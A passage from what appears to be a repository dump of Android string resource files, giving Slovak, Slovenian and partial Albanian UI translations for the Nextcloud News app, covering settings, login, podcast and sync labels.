oznámenia</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Pridať</string>\n    <string name=\"hint_folder_name\">Názov priečinka</string>\n    <string name=\"folder_already_exists\">Priečinok už existuje</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Ručné prihlásenie</string>\n    <string name=\"login_sso\">Prihlásenie pomocou aplikácie Nextcloud Files</string>\n    <string name=\"pref_title_username\">Meno používateľa</string>\n    <string name=\"pref_title_password\">Heslo</string>\n    <string name=\"pref_title_owncloudRootPath\">Koreňová adresa Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">Prihlásenie</string>\n    <string name=\"login_progress_signing_in\">Prihlasovanie ...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Toto pole je povinné</string>\n    <string name=\"error_invalid_url\">Nesprávna URL</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Označiť %d položku ako prečítané</item>\n        <item quantity=\"few\">Označiť %d položky ako prečítané</item>\n        <item quantity=\"many\">Označiť %d položiek ako prečítané</item>\n        <item quantity=\"other\">Označiť %d položiek ako prečítané</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Stiahnutá %d jedna stará</item>\n        <item quantity=\"few\">Stiahnuté %d staré položky</item>\n        <item quantity=\"many\">Stiahnuté %d staré položky</item>\n        <item quantity=\"other\">Stiahnutých %d starých položiek</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Žiadne ďalšie položky k dispozícii</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Stiahnutá %d položka …</item>\n        <item quantity=\"few\">Stiahnutých %d položky …</item>\n        <item quantity=\"many\">Stiahnutých %d položiek …</item>\n        <item quantity=\"other\">Stiahnutých %d položiek …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Nastavenia</string>\n    <string name=\"cache_is_cleared\">Vyrovnávacia pamäť je vymazaná!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Všeobecné</string>\n    <string name=\"pref_title_general_sort_order\">Zoradenie</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nové → Staré</string>\n    <string name=\"pref_general_sort_order_old_new\">Staré → Nové</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Akcia pri potiahnutí prstom doprava</string>\n    <string name=\"pref_rename_action_swipe_left\">Akcia pri potiahnutí prstom doľava</string>\n\n    <string name=\"pref_title_general_search_in\">Hľadať v</string>\n\n    <string name=\"pref_general_search_in_title\">Názov</string>\n    <string name=\"pref_general_search_in_body\">Telo</string>\n    <string name=\"pref_general_search_in_both\">obidva</string>\n\n    <string name=\"dialog_clearing_cache\">Čistenie medzipamäte</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Maže sa vyrovnávacia pamäť. Čakajte prosím ...</string>\n    <string name=\"reset_cache_unsaved_changes\">Nezosynchronizované zmeny sú k dispozícii. Aj napriek tomu chcete vyprázdniť medzipamäť?</string>\n    <string name=\"warning\">Varovanie</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Synchronizovať pri spustení</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Zobraziť len neprečítané články</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Vypnúť overovanie názvu hostiteľa</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigácia pomocou tlačidiel hlasitosti</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Označiť ako prečítané pri rolovaní stránky</string>\n    <string name=\"pref_title_ShowFastActions\">Aktivovať funkcie pre rýchly prístup</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Preskočte podrobné zobrazenie a otvorte článok v prehliadači</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Tlačidlo Späť otvára zásuvku</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Prijať neznámy certifikát?</string>\n    <string name=\"mtm_decision_always\">Vždy</string>\n    <string name=\"mtm_decision_abort\">Prerušiť</string>\n    <string name=\"mtm_notification\">Overenie certifikátu</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Nebol vybraný žiaden podcast</string>\n    <string name=\"no_chapters_available\">Žiadne dostupné kapitoly</string>\n    <string name=\"exit_playback\">Ukončiť Prehrávač</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Rýchlosť prehrávania</string>\n    <string name=\"notification_downloading_podcast_title\">Sťahovanie podcastu</string>\n    <string name=\"dialog_podcast_remove_title\">Ste si istý?</string>\n    <string name=\"dialog_podcast_remove_body\">Chcete odstrániť stiahnuté médiá od %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Nepodarilo sa odstrániť médiá od %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Médiá od %1$s boli vymazané</string>\n    <string name=\"dialog_podcast_remove_confirm\">Odobrať</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">O aplikácii</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) verzia 3</string>\n    <string name=\"pref_report_issue\">Nahlásiť problém</string>\n    <string name=\"pref_report_issue_summary\">Vyžaduje (bezplatný) účet GitHub</string>\n    <string name=\"pref_contribute\">Prispievať!</string>\n    <string name=\"pref_contribute_summary\">Získajte zdrojový kód</string>\n    <string name=\"pref_privacy\">Súkromie</string>\n    <string name=\"pref_privacy_summary\">Nextcloud novinky pre Politiku Zabezpečenia Androidu</string>\n    <string name=\"pref_news_policy\">Kontaktujte nás / Zásady noviniek</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud Novinky Pravidlá Android News / Kontaktujte nás</string>\n    <string name=\"pref_version\">Aplikácia Nextcloud novinky pre Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Zobrazenie</string>\n    <string name=\"pref_title_app_theme\">Motív vzhľadu</string>\n    <string name=\"pref_title_feed_list_layout\">Rozvrhnutie zoznamu kanálov</string>\n    <string name=\"pref_title_font_size\">Veľkosť písma</string>\n    <string name=\"pref_display_browser\">Prehliadač</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Ikony akcií (podrobné zobrazenie)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Predvolené systémom</string>\n    <string name=\"pref_display_apptheme_light\">Svetlý</string>\n    <string name=\"pref_display_apptheme_dark\">Tmavý</string>\n\n    <string name=\"pref_oled_mode\">Čierne pozadie</string>\n    <string name=\"pref_oled_mode_summary\">Pre tmavé motívy vzhľadu na obrazovkách OLED</string>\n\n    <string name=\"pref_external_player\">Externý prehrávač</string>\n    <string name=\"pref_external_player_summary\">Prehrávajte podcasty vo svojej predvolenej mediálnej aplikácii</string>\n\n    <string name=\"pref_display_browser_cct\">Vstavané karty prehliadača Chrome</string>\n    <string name=\"pref_display_browser_built_in\">Vstavaný prehliadač</string>\n    <string name=\"pref_display_browser_external\">Externý prehliadač</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Náhľady (iba Nadpisy)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Náhľady</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Jednoduchý text</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Nadpisy</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Celý text</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Webové rozloženie</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Zobrazenie s kartami</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Malá</string>\n    <string name=\"pref_display_font_size_d\">Predvolené</string>\n    <string name=\"pref_display_font_size_l\">Veľká</string>\n    <string name=\"pref_display_font_size_xl\">Veľmi veľké</string>\n\n    <string name=\"content_desc_play\">Hrať</string>\n    <string name=\"content_desc_pause\">Pauza</string>\n    <string name=\"content_desc_playback_speed\">Rýchlosť prehrávania</string>\n    <string name=\"content_desc_rewind\">Pretočiť</string>\n    <string name=\"content_desc_forward\">Preposlať</string>\n    <string name=\"content_desc_expand\">Rozbaliť</string>\n    <string name=\"content_desc_collapse\">Zvinúť</string>\n    <string name=\"content_desc_mark_as_read\">Označiť ako prečítané</string>\n    <string name=\"content_desc_mark_as_unread\">Označiť ako neprečítané</string>\n    <string name=\"content_desc_tap_to_refresh\">Ťuknite pre obnovenie</string>\n    <string name=\"content_desc_add_to_favorites\">Pridať do obľúbených</string>\n    <string name=\"content_desc_remove_from_favorites\">Odstrániť z obľúbených</string>\n    <string name=\"content_desc_show_password\">Zobraziť heslo</string>\n    <string name=\"content_desc_delete\">Vymazať</string>\n    <string name=\"content_desc_download\">Sťahovanie</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Chyba</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Zdá sa, že vaša aplikácia Novinky nie je nainštalovaná alebo aktivovaná na vašom serveri. Postupujte podľa pokynov, pre nastavenie aplikácie Novinky na servri:: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Tak toto je nepríjemné :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Aplikácia Novinky vrátila verziu „0“. Prezrite si nasledujúcu správu o chybe: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Táto verzia aplikácie nie je kompatibilná s vašou aplikáciou Nextcloud Novinky na strane sevra. Aktualizujte ju a jej aplikačné prostredie (framework). </string>\n    <string name=\"login_dialog_title_security_warning\">Bezpečnostné varovanie</string>\n    <string name=\"login_dialog_text_security_warning\">Nepoužívate protokol HTTPS, čo sa dôrazne odporúča. Útočník by mohol zachytiť vašu komunikáciu a získať prístup k niektorým citlivým údajom (napr. k heslu).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Niečo sa pokazilo. Skúste to prosím znova.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Dáta &amp; synchronizácia</string>\n    <string name=\"pref_title_clearCache\">Vyčistiť medzipamäť</string>\n    <string name=\"pref_title_CacheImagesOffline\">Ukladať obrázky do offline mezipameti</string>\n    <string name=\"pref_title_Max_Cache_Size\">Maximálna medzipamäť</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nikdy</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Iba cez WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Iba cez WiFi &amp; Mobil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Spýtať sa keď nieste pripojený k WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nikdy</string>\n    <string name=\"array_sync_interval_min_5\">5 minút</string>\n    <string name=\"array_sync_interval_min_15\">15 minút</string>\n    <string name=\"array_sync_interval_min_30\">30 minút</string>\n    <string name=\"array_sync_interval_min_45\">45 minút</string>\n    <string name=\"array_sync_interval_hour_1\">1 hodina</string>\n    <string name=\"array_sync_interval_hour_2\">2 hodiny</string>\n    <string name=\"array_sync_interval_hour_3\">3 hodiny</string>\n    <string name=\"array_sync_interval_hour_6\">6 hodín</string>\n    <string name=\"array_sync_interval_hour_12\">12 hodín</string>\n    <string name=\"array_sync_interval_hour_24\">24 hodín</string>\n    <string name=\"switch_account\">Prepnúť účet</string>\n    \n    <string name=\"successfully_exported\">Úspešne exportované do:</string>\n    <string name=\"opml_export\">OPML Export</string>\n    <string name=\"parsing_opml\">Parsovanie OPML</string>\n    <string name=\"please_wait\">Čakajte prosím ...</string>\n    <string name=\"interval_sync_title\">Interval synchronizácie</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-sl/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Samodejno usklajevanje</string>\n    <string name=\"title_activity_sync_interval_selector\">Časovni razmik usklajevanj</string>\n    <string name=\"empty_view_content\">Ni novic</string>\n    <string name=\"empty_view_content_action\">Povlecite navzdol za osvežitev</string>\n    <string name=\"toast_GettingMoreItems\">Začeto je prejemanje več prispevkov ...</string>\n    <string name=\"no_wifi_available\">Ni vzpostavljene povezave Wi-Fi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Ali želite prejeti slike, čeprav ni vzpostavljene povezave Wi-Fi?</string>\n    <string name=\"current_version\">V uporabi je različica %s</string>\n    <string name=\"widget_header\">Novice Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">Na voljo je %d nov prispevek.</item>\n        <item quantity=\"two\">Na voljo sta %d nova prispevka.</item>\n        <item quantity=\"few\">Na voljo so %d novi prispevki.</item>\n        <item quantity=\"other\">Na voljo je %d novih prispevkov.</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Ponovno naloži</string>\n    <string name=\"allUnreadFeeds\">Vsi neprebrani predmeti</string>\n    <string name=\"starredFeeds\">Označeni predmeti</string>\n    <string name=\"title_activity_new_feed\">Dodaj nov vir</string>\n\n    <string name=\"menu_update\">Osveži</string>\n    <string name=\"menu_markAllAsRead\">Označi vse kot prebrano</string>\n    <string name=\"menu_StartImageCaching\">Prejmi slike</string>\n    <string name=\"menu_downloadMoreItems\">Prejmi več predmetov</string>\n\n    <string name=\"tv_showing_cached_version\">Prikazana je predpomnjena različica</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Označeno</string>\n    <string name=\"action_read\">Preberi</string>\n    <string name=\"action_playPodacst\">Predvajaj podcast</string>\n    <string name=\"action_openInBrowser\">Odpri v brskalniku</string>\n    <string name=\"action_Share\">Objavi za druge</string>\n    <string name=\"action_login\">Nastavitve strežnika</string>\n    <string name=\"action_save\">Shrani</string>\n    <string name=\"action_settings\">Nastavitve</string>\n    <string name=\"action_sync_settings\">Nastavitve usklajevanja</string>\n    <string name=\"action_add_new_feed\">Dodaj nov vir</string>\n    <string name=\"action_add_new_folder\">Dodaj novo mapo</string>\n    <string name=\"action_textToSpeech\">Preberi</string>\n    <string name=\"action_search\">Poišči</string>\n    <string name=\"action_download_articles_offline\">Prejmi prispevke</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Poteka prejemanje prispevkov za porabo brez povezave</string>\n    <string name=\"notification_download_images_offline\">Poteka prejemanje slik za porabo brez povezave</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Na voljo je %d neprebran prispevek.</item>\n        <item quantity=\"two\">Na voljo sta %d neprebrana prispevka.</item>\n        <item quantity=\"few\">Na voljo so %d neprebrani prispevki.</item>\n        <item quantity=\"other\">Na voljo je %d neprebranih prispevkov.</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Na voljo je %d neprebran prispevek.</item>\n        <item quantity=\"two\">Na voljo sta %d neprebrana prispevka.</item>\n        <item quantity=\"few\">Na voljo so %d neprebrani prispevki.</item>\n        <item quantity=\"other\">Na voljo je %d neprebranih prispevkov.</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Naslov URL vira</string>\n    <string name=\"action_add_feed\">Dodaj vir</string>\n    <string name=\"import_opml\">Uvozi OPML</string>\n    <string name=\"export_opml\">Izvozi OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Prejmi sliko</string>\n    <string name=\"action_img_sharelink\">Objavi povezavo do slike</string>\n    <string name=\"action_img_open\">Pokaži sliko v brskalniku</string>\n    <string name=\"action_img_copylink\">Kopiraj povezavo do slike</string>\n    <string name=\"action_link_share\">Objavi povezavo</string>\n    <string name=\"action_link_open\">Odpri povezavo v brskalniku</string>\n    <string name=\"action_link_copy\">Kopiraj povezavo</string>\n    <string name=\"toast_img_download_wait\">Poteka prejemanje. Počakajte …</string>\n    <string name=\"toast_img_saved\">Slika je shranjena.</string>\n    <string name=\"toast_img_notwriteable\">Zapisovanje slike je spodletelo.</string>\n    <string name=\"toast_copied_to_clipboard\">Kopirano v odložišče</string>\n    <string name=\"error_download_failed\">Prejemanje je spodletelo</string>\n    <string name=\"intent_title_share\">Objavi prek</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Odstrani vir</string>\n    <string name=\"action_feed_rename\">Preimenuj vir</string>\n    <string name=\"action_feed_move\">Premakni vir</string>\n    <string name=\"action_feed_notification_settings\">Nastavitve obveščanja</string>\n    <string name=\"feed_remove_button\">Odstrani</string>\n    <string name=\"feed_rename_button\">Preimenuj</string>\n    <string name=\"confirm_feed_remove\">Ali res želite odstraniti ta vir? Dejanja ni mogoče povrniti!</string>\n    <string name=\"feed_move_list_description\">Izbor mape za premikanje vira</string>\n    <string name=\"move_feed_root_folder\">Korenska mapa</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Odstrani mapo</string>\n    <string name=\"action_folder_rename\">Preimenuj mapo</string>\n    <string name=\"folder_remove_button\">Odstrani</string>\n    <string name=\"folder_rename_button\">Preimenuj</string>\n    <string name=\"confirm_folder_remove\">Ali res želite odstraniti to mapo? Dejanja ni mogoče povrniti!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Pridobi enoznačna obvestila za ta vir</string>\n    <string name=\"notification_feed_default\">Vsi viri s privzetih nastavitev bodo prikazani v enem obvestilu</string>\n    <string name=\"notification_feed_none\">Ni še prejetih obvestil.</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Dodaj</string>\n    <string name=\"hint_folder_name\">Ime mape</string>\n    <string name=\"folder_already_exists\">Mapa že obstaja</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Ročna prijava</string>\n    <string name=\"login_sso\">Prijava s programom Nextcloud Datoteke</string>\n    <string name=\"pref_title_username\">Uporabniško ime</string>\n    <string name=\"pref_title_password\">Geslo</string>\n    <string name=\"pref_title_owncloudRootPath\">Korenski naslov oblaka Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Prijava</string>\n    <string name=\"login_progress_signing_in\">Poteka prijavljanje ...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">To polje mora biti izpolnjeno</string>\n    <string name=\"error_invalid_url\">Napačen naslov URL</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Prejet je %d stari predmeti</item>\n        <item quantity=\"two\">Prejeta sta %d stara predmeta</item>\n        <item quantity=\"few\">Prejeti so %d stari predmeti</item>\n        <item quantity=\"other\">Prejetih je %d starih predmetov</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Ni drugih prispevkov</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Do sedaj je prejet %d predmet ...</item>\n        <item quantity=\"two\">Do sedaj sta prejeta %d predmeta ...</item>\n        <item quantity=\"few\">Do sedaj so prejeti %d predmeti ...</item>\n        <item quantity=\"other\">Do sedaj je prejetih %d predmetov ...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Nastavitve</string>\n    <string name=\"cache_is_cleared\">Predpomnilnik je počiščen!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Splošno</string>\n    <string name=\"pref_title_general_sort_order\">Način razvrščanja</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Novo → Staro</string>\n    <string name=\"pref_general_sort_order_old_new\">Staro → Novo</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Dejanje potega v desno</string>\n    <string name=\"pref_rename_action_swipe_left\">Dejanje potega v levo</string>\n\n    <string name=\"pref_title_general_search_in\">Išči po</string>\n\n    <string name=\"pref_general_search_in_title\">naslovu</string>\n    <string name=\"pref_general_search_in_body\">besedilu</string>\n    <string name=\"dialog_clearing_cache\">Poteka čiščenje predpomnilnika</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Poteka čiščenje predpomnilnika ...</string>\n    <string name=\"reset_cache_unsaved_changes\">Obstajajo neusklajene spremembe. Ali želite vseeno počistiti predpomnilnik?</string>\n    <string name=\"warning\">Opozorilo</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Uskladi prispevke ob zagonu</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Pokaži le neprebrane prispevke</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Onemogoči overjanje imena gostitelja</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Omogoči pomikanje po zaslonu z gumbm za glasnost</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Med pomikanjem označi prispevke kot prebrane</string>\n    <string name=\"pref_title_ShowFastActions\">Omogoči možnosti hitrega dostopa</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Preskoči podrobni pogled in odpri vir v brskalniku</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Ali želite prejeti neznano digitalno potrdilo?</string>\n    <string name=\"mtm_decision_always\">Vedno</string>\n    <string name=\"mtm_decision_abort\">Prekini</string>\n    <string name=\"mtm_notification\">Overitev digitalnih potrdil</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Ni izbranega podkasta</string>\n    <string name=\"no_chapters_available\">V prispevku ni poglavij</string>\n    <string name=\"exit_playback\">Končaj predvajalnik</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Hitrost predvajanja</string>\n    <string name=\"notification_downloading_podcast_title\">Potekanje prejemanje podkasta ...</string>\n    <string name=\"dialog_podcast_remove_title\">Ali ste prepričani?</string>\n    <string name=\"dialog_podcast_remove_confirm\">Odstrani</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">O programu</string>\n    <string name=\"pref_license\">Dovoljenje</string>\n    <string name=\"pref_license_summary\">Splošno Javno dovoljenje Affero (GNU AGPL), različice 3</string>\n    <string name=\"pref_report_issue\">Pošlji poročilo o hrošču</string>\n    <string name=\"pref_report_issue_summary\">Zahteva (brezplačen) račun GitHub</string>\n    <string name=\"pref_contribute\">Sodelujte!</string>\n    <string name=\"pref_contribute_summary\">Pridobi izvorno kodo</string>\n    <string name=\"pref_privacy\">Zasebnost</string>\n    <string name=\"pref_privacy_summary\">Pravila zasebnosti programa Android Nextcloud News</string>\n    <string name=\"pref_version\">Program Nextcloud Novice</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Videz</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Postavitev seznama virov</string>\n    <string name=\"pref_title_font_size\">Velikost pisave</string>\n    <string name=\"pref_display_browser\">Brskalnik</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Ikone dejavnosti (podrobni pogled)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Sistemsko privzeto</string>\n    <string name=\"pref_display_apptheme_light\">Svetla</string>\n    <string name=\"pref_display_apptheme_dark\">Temna</string>\n\n    <string name=\"pref_oled_mode\">Črno ozadje</string>\n    <string name=\"pref_oled_mode_summary\">Za temno temo na zaslonih OLED</string>\n\n    <string name=\"pref_external_player\">Zunanji predvajalnik</string>\n    <string name=\"pref_external_player_summary\">Predvajanje podkastov v privzetem programu</string>\n\n    <string name=\"pref_display_browser_cct\">Vgrajen Chrome z zavihki</string>\n    <string name=\"pref_display_browser_built_in\">Vgrajen brskalnik</string>\n    <string name=\"pref_display_browser_external\">Zunanji brskalnik</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Sličice (le za glavne novice)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Sličice</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Enostavno besedilo</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Naslovi</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Polno besedilo</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Spletna razporeditev</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Kartični pogled</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Majhna</string>\n    <string name=\"pref_display_font_size_d\">Privzeta</string>\n    <string name=\"pref_display_font_size_l\">Velika</string>\n    <string name=\"pref_display_font_size_xl\">Zelo velika</string>\n\n    <string name=\"content_desc_play\">Predvajaj</string>\n    <string name=\"content_desc_pause\">Premor</string>\n    <string name=\"content_desc_playback_speed\">Hitrost predvajanja</string>\n    <string name=\"content_desc_rewind\">Skoči nazaj</string>\n    <string name=\"content_desc_forward\">Posreduj</string>\n    <string name=\"content_desc_expand\">Razširi</string>\n    <string name=\"content_desc_collapse\">Skrči</string>\n    <string name=\"content_desc_mark_as_read\">Označi kot prebrano</string>\n    <string name=\"content_desc_mark_as_unread\">Označi kot neprebrano</string>\n    <string name=\"content_desc_tap_to_refresh\">Pritisni za osvežitev</string>\n    <string name=\"content_desc_add_to_favorites\">Dodaj med priljubljene</string>\n    <string name=\"content_desc_remove_from_favorites\">Odstrani iz priljubljenih</string>\n    <string name=\"content_desc_show_password\">Pokaži geslo</string>\n    <string name=\"content_desc_delete\">Izbriši</string>\n    <string name=\"content_desc_download\">Prejmi</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Napaka</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Kaže, da novičarski program na strežniku ni nameščen oziroma ni zagnan. Oglejte si navodila, kako ga namestiti na strežnik: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Prišlo je do napake :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Program za usklajevanje spletnih novic kaže različico » 0 ». Oglejte si poročilo o hrošču na: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Program ni skladen s programom Novice Nextcloud. Posodobiti je treba program in vire.</string>\n    <string name=\"login_dialog_title_security_warning\">Varnostno opozorilo</string>\n    <string name=\"login_dialog_text_security_warning\">Trenutna povezava ni varna povezava HTTPS. Spletni goljufi lahko prestrežejo prenos podatkov in si pridobijo dostop do občutljivih podatkov (na primer gesel).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Prišlo je do napake. poskusite znova.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Podatki in usklajevanje</string>\n    <string name=\"pref_title_clearCache\">Počisti predpomnilnik</string>\n    <string name=\"pref_title_CacheImagesOffline\">Shrani slike v predpomnilnik za delo brez povezave</string>\n    <string name=\"pref_title_Max_Cache_Size\">Največja velikost predpomnilnika</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nikoli</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Le po Wi-Fi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Po Wi-Fi in po mobilnem dostopu</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Vprašaj, kadar povezava ni vzpostavljena po Wi-Fi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nikoli</string>\n    <string name=\"array_sync_interval_min_5\">5 minut</string>\n    <string name=\"array_sync_interval_min_15\">15 minut</string>\n    <string name=\"array_sync_interval_min_30\">30 minut</string>\n    <string name=\"array_sync_interval_min_45\">45 minut</string>\n    <string name=\"array_sync_interval_hour_1\">1 ura</string>\n    <string name=\"array_sync_interval_hour_2\">2 uri</string>\n    <string name=\"array_sync_interval_hour_3\">3 ure</string>\n    <string name=\"array_sync_interval_hour_6\">6 ur</string>\n    <string name=\"array_sync_interval_hour_12\">12 ur</string>\n    <string name=\"array_sync_interval_hour_24\">24 ur</string>\n    <string name=\"switch_account\">Preklopi račun</string>\n    \n    <string name=\"successfully_exported\">Uspešno izvoženo v;</string>\n    <string name=\"opml_export\">Izvoz OPML</string>\n    <string name=\"parsing_opml\">Razčlenjevanje OPML</string>\n    <string name=\"please_wait\">Počakajte ...</string>\n    <string name=\"interval_sync_title\">Časovni razmik usklajevanja</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-sq/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Vetënjëkohëso</string>\n    <string name=\"empty_view_content\">S’ka gjë këtu</string>\n    <string name=\"empty_view_content_action\">Pull down to refresh</string>\n    <string name=\"no_wifi_available\">Pa lidhje WiFi</string>\n    <string name=\"current_version\">Po përdorni Versionin %s</string>\n    <string name=\"widget_header\">Lajme Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d zë i ri gati</item>\n        <item quantity=\"other\">%d zëra të rinj gati</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Ringarkoje</string>\n    <string name=\"allUnreadFeeds\">Krejt zërat e palexuar</string>\n    <string name=\"starredFeeds\">Zëra me yje</string>\n    <string name=\"title_activity_new_feed\">Shtoni prurje të re</string>\n\n    <string name=\"menu_update\">Rifreskoje</string>\n    <string name=\"menu_markAllAsRead\">Shënoji krejt si të lexuar</string>\n    <string name=\"menu_StartImageCaching\">Shkarko figura</string>\n    <string name=\"menu_downloadMoreItems\">Shkarko më tepër 